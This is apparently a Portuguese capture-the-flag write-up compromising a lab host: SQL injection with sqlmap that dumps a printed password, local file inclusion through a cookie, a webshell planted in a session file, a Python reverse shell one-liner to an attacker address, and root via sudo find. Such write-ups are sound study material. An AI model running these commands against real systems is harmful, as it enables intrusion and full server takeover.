Acessando o site da aplicação, encontramos a seguinte página:
Durante a fase de reconhecimento foi possível identificar que o host possuía 2 portas TCP abertas.
Como o host possuía a porta 80 aberta, foi realizada uma enumeração dos diretórios existentes nessa aplicação.
Dessa forma, foi possível identificar o diretório “/manager”, e acessando esse endereço foi identificado um local para realização de login na aplicação.
Afim de testar o comportamento da aplicação, foi realizado a tentativa de login na plataforma, informando como usuário o nome “ admin’ “, e, como pode ser visto na imagem abaixo, a aplicação retornou um erro.
O erro retornado, pode indicar que a aplicação está vulnerável a SQL Injection, então para confirmar essa informação, foi utilizada a ferramenta conhecida como sqlmap.
sqlmap -r request
Com a confirmação da vulnerabilidade, foi utilizado a mesma ferramenta para extrair informações desse banco de dados, e, dessa forma, foi possível encontrar as credenciais de acesso a aplicação.
sqlmap -r request --dbms=MySQL --dump
user01:CyB3rS3cur!ty$umm1t@2019
Com as credenciais encontradas no banco de dados, foi possível obter acesso a aplicação.
Com o login realizado, é possível ler alguns arquivos presentes no site. Navegando entre eles, foi possível entender como a aplicação se comporta e dessa forma também foi identificado que a aplicação possuí uma vulnerabilidade de Local File Inclusion (LFI).
Lendo os arquivos presentes na aplicação, foi identificado no arquivo “index.php” que a mensagem apresentada para o usuário após a realização do login é processada pela função include do PHP.
A função include do PHP é responsável por incluir arquivos e interpretar o seu conteúdo. Sabendo que esse caminho está sendo passado através do cookie iniciou-se o processo para tentar identificar alguma forma de salvar ou criar arquivos no servidor, para que posteriormente ele pudesse ser interpretado por essa função.
Analisando outros arquivos presentes no site, foi possível identificar que o arquivo “plogin.php”, utilizado para realizar login na aplicação, possui um outro campo para criação de cookie que não foi utilizado nessa sessão.
Analisando também o arquivo “info.php”, foi possível identificar o local onde os arquivos de sessão são salvos.
Aproveitando do LFI encontrado anteriormente, foi realizado a tentativa de leitura do arquivo criado para a sessão atual.
Dessa forma, foi possível notar que o parâmetro não utilizado pela aplicação também é salvo no arquivo, servindo como um possível local para injeção de conteúdo. Então utilizando esse campo foi enviado uma webshell simples para ser salva no arquivo.
E como foi possível confirmar, o conteúdo foi salvo sem problemas.
Como identificado anteriormente no código, o conteúdo do cookie “username” é interpretado pela função include, agora que já temos um arquivo no servidor com o código desejado, podemos usar ela para executar ações no servidor.
Dessa forma, foi possível executar comandos no servidor. Aproveitando essa funcionalidade, foi verificado se o servidor possuía o Python instalado e qual a sua versão.
Com a confirmação de que o Python está instalado no servidor, é possível se utilizar dele para conseguir um acesso shell ao servidor, utilizando o próprio Python para criar uma reverse shell.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.24.75.203",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
E dessa forma, foi possível acessar o servidor através de uma shell interativa.
Analisando as permissões do usuário, foi possível identificar que todos os usuários do sistema possuem a permissão para executar o comando “find” como sudo.
Com essa informação, foi possível se aproveitar dessa permissão para conseguir elevar os privilégios do usuário para root.
sudo find . -exec /bin/sh \; -quit